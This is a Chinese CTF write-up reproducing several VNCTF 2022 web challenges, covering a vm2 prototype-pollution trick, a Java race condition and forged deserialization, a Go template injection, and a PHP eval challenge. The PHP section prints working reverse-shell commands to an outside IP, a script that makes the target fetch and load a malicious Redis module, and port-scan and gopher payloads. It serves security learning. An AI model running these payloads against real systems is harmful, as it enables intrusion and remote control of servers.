前言 复现一下vnctf
GameV4.0 签到
newcalc0 源码
const express = require ("express" );const path = require ("path" );const vm2 = require ("vm2" );const app = express();app.use(express.urlencoded({ extended : true })); app.use(express.json()); app.use(express.static("static" )); const vm = new vm2.NodeVM();app.use("/eval" , (req, res ) => { const e = req.body.e; if (!e) { res.send("wrong?" ); return ; } try { res.send(vm.run("module.exports=" +e)?.toString() ?? "no" ); } catch (e) { console .log(e) res.send("wrong?" ); } }); app.use("/flag" , (req, res ) => { if (Object .keys(Object .prototype).length > 0 ) { Object .keys(Object .prototype).forEach(k => delete Object .prototype[k]); res.send(process.env.FLAG); } else { res.send(Object .keys(Object .prototype)); } }) app.use("/source" , (req, res ) => { let p = req.query.path || "/src/index.js" ; p = path.join(path.resolve("." ), path.resolve(p)); console .log(p); res.sendFile(p); }); app.use((err, req, res, next ) => { console .log(err) res.redirect("index.html" ); }); app.listen(process.env.PORT || 8888 );
flag路由下拿到flag的条件是 Object.keys(Object.prototype).length > 0 然后是用的vm2,可以利用逃逸进行污染,但是题目环境全部为最新包。前一段时间 nodejs 更新了三个漏洞,其中一个是原型污染 CVE-2022-21824
January 10th 2022 Security Releases | Node.js (nodejs.org)
Due to the formatting logic of the function it was not safe to allow user controlled input to be passed to the parameter while simultaneously passing a plain object with at least one property as the first parameter, which could be . The prototype pollution has very limited control, in that it only allows an empty string to be assigned to numerical keys of the object prototype.console.table() properties __proto__
就是说 console.table 会污染 Object的原型对象 ,使其被污染为 {‘0’:’’}
但是本地nodejs 14报错,不清楚为什么,网上找了个低版本出现预期看到的结果,另外在DiceCTF2022中有同样的一道题目 vm-calc
出题人博客:https://brycec.me/posts/dicectf_2022_writeups
payload:console.table([{x:1}], [“__proto__“]);
easyJava 存在任意文件读,wp采用了 netdoc 协议与 file 协议相同,补充了个知识点,然后读取相关class文件,在JDK 9之后,netdoc 协议将会失效。
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/ /file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/
Secr3t.class经过反编译:三个点 随机生成key 还有个 check函数 与 getFlag函数
再看一下helloworld.class反编译后发现是个servlet,对应路由为 /evi1 :首先实例化了一个对象user
然后在处理post请求时,接受参数key,base64解码后反序列化,如果与this.user相同,就得到flag
在处理get请求时,明显存在问题,相同的输入,输出却不同,这里并没有进行多线程请求的处理,可以利用条件竞争导致servlet出错,进而绕过第一个if,得到key
竞争脚本:直接拿wp的脚本跑
a.py
import requestshost = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/" while True : r = requests.get(host+"evi1?name=asdqwer" ) r.encoding = "utf-8" if r.text.find("The Key is" )!=-1 : print(r.text) if (r.text.replace(" " ,"" )!="" ): print(r.text
b.py
import requestshost = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/" while True : r = requests.get(host+"evi1?name=vnctf2022" ) r.encoding = "utf-8" if r.text.find("The Key is" )!=-1 : print(r.text)
算了,buu爆不出来,调整sleep也不行,构造反序列化
User u = new User("m4n_q1u_666" ,"666" ,"180:) byte[] ustr = SerAndDe.serialize(u); String poc = Base64.getEncoder().encodeToString(ustr); System.out.println(poc);
还有 height被 transient 所修饰,序列化的时候需要重写writeObject
private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeObject(this .height); }
post打过去就行了
InterestingPHP
redis 主从复制rce
bypass disable_functions
开局一句话
<?php highlight_file(__FILE__); @eval($_GET['exp']);?>
phpinfo()被ban,几个系统命令无法执行,var_dump(scandir(‘./‘)); 发现 index.php 和 secret.rdb
看了几份wp,收获几个信息收集的姿势,读取配置信息
var_dump(get_cfg_var("disable_functions" )); var_dump(get_cfg_var("open_basedir" )); var_dump(ini_get_all());
解法一–bypass disable 直接利用 bypass 的exp命令执行,fwrite函数被ban,exp中改为fputs exploits/exploit.php at master · mm0r1/exploits (github.com)
三个需要注意的点
hackbar选择 multipart/form-data
——WebKitFormBoundarygKA0mBRa2KfAuNWw(—) 去除最后面的—
添加 Content-Disposition: form-data; name=”a”
POST /?exp=eval ($_POST [a]); HTTP/1.1 Host: 198 d7af9-a9a0-419 d-9605 -73 eea78ae10d.node4.buuoj.cn:81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,*
反弹shell
pwn("bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 <&1'");
读取flag没有权限,那就是提权的事喽,pkexec提权走起
解法二–加载恶意so文件 RCE 探测目录文件,发现 secret.rdb
下载下来发现是一个redis的数据备份文件,猜测密码为ye_w4nt_a_gir1fri3nd
,尝试主从复制打redis
但发现端口并不是6379,所以这里需要探测一下端口
<?php highlight_file(__FILE__); # Port scan for($i=0;$i<65535;$i++) { $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2); if($ee2 === "Address already in use") { var_dump($i); } }
for($i=0;$i<65535;$i++) { $t=file_get_contents('http://127.0.0.1:'.$i); if(!strpos(error_get_last()['message'], "Connection refused")) { var_dump($i); } }
写入扫描php文件
/?exp=eval(file_put_contents("a.php",base64_decode($_POST['a']))); POST: a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
发现80和8888
利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件,接着载入恶意.so文件模块 ,反弹shell至远程主机
利用curl+file_put_contents写入so文件 n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)
import requestsurl = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval($_POST[0]);" headers = {"content-type" : "application/x-www-form-urlencoded" } pay = "http://1.116.110.61:8000/exp.so" payload = ''' function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); file_put_contents("exp.so",$result); } Curl("''' + pay + '''"); ''' .strip()data = { 0 : payload } r = requests.post(url, data, headers=headers).text print(r)
利用 rawCommand() 执行redis命令,反弹shell
import base64import requestsurl = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval(base64_decode($_POST[0]));" payload = ''' $redis = new Redis(); $redis->connect('127.0.0.1',8888); $redis->auth('ye_w4nt_a_gir1fri3nd'); $redis->rawCommand('module','load','/var/www/html/exp.so'); $redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 0>&1'"); ''' payload=base64.b64encode(payload.encode(encoding="utf-8" )) data = { 0 : payload } r = requests.post(url, data=data).text print(r)
成功
解法三– gopher攻击认证redis(失败) 之前极客大挑战中有一道题目givemeyourlove,利用ssrf攻击认证redis写webshell,所以这道题我想尝试一下攻击认证redis反弹shell,首先gopher生成反弹shell的 payload
添加认证
%2A2%0d%0a%244%0d%0aAUTH%0d%0a%2420%0d%0aye_w4nt_a_gir1fri3nd%0D%0A
最后没能成功
gocalc0 非预期
session中有一段base64,解码得到flag
预期解
go的SSTI 利用 printf 和占位符打印出源码 ,payload:
{{printf "%+v" .}} 或者 {{.}}
Go语言的%d,%p,%v等占位符的使用 - 简书 (jianshu.com)
Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)
Go SSTI初探 | tyskillのBlog
package main import ( _ "embed" "fmt" "os" "reflect" "strings" "text/template" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "github.com/maja42/goval" ) //go:embed template/index.html var tpl string //go:embed main.go var source string type Eval struct { E string `json:"e" form:"e" binding:"required"` } func (e Eval) Result() (string, error) { eval := goval.NewEvaluator() result, err := eval.Evaluate(e.E, nil, nil) if err != nil { return "", err } t := reflect.ValueOf(result).Type().Kind() if t == reflect.Int { return fmt.Sprintf("%d", result.(int)), nil } else if t == reflect.String { return result.(string), nil } else { return "", fmt.Errorf("not valid type") } } func (e Eval) String() string { res, err := e.Result() if err != nil { fmt.Println(err) res = "invalid" } return fmt.Sprintf("%s = %s", e.E, res) } func render(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his)) t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his)) if err != nil { fmt.Println(err) c.String(500, "internal error") return } if err := t.Execute(c.Writer, map[string]string{ "s0uR3e": source, }); err != nil { fmt.Println(err) } } func main() { port := os.Getenv("PORT") if port == "" { port = "8080" } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/", func(c *gin.Context) { render(c) }) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) session.Set("FLAG", os.Getenv("FLAG")) session.Save() c.String(200, "flag is in your session") }) r.POST("/", func(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } eval := Eval{} if err := c.ShouldBind(&eval); err == nil { his = his + eval.String() + "<br/>" } session.Set("history", his) session.Save() render(c) }) r.Run(fmt.Sprintf(":%s", port)) }
本地起一个
package mainimport ( _ "embed" "fmt" "os" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" ) func main () { port := os.Getenv("PORT" ) if port == "" { port = "8080" } r := gin.Default() store := cookie.NewStore([]byte ("woW_you-g0t_sourcE_co6e" )) r.Use(sessions.Sessions("session" , store)) r.GET("/" , func (c *gin.Context) { session := sessions.Default(c) println (session.Get("FLAG" ).(string )) }) r.Run(fmt.Sprintf(":%s" , port)) }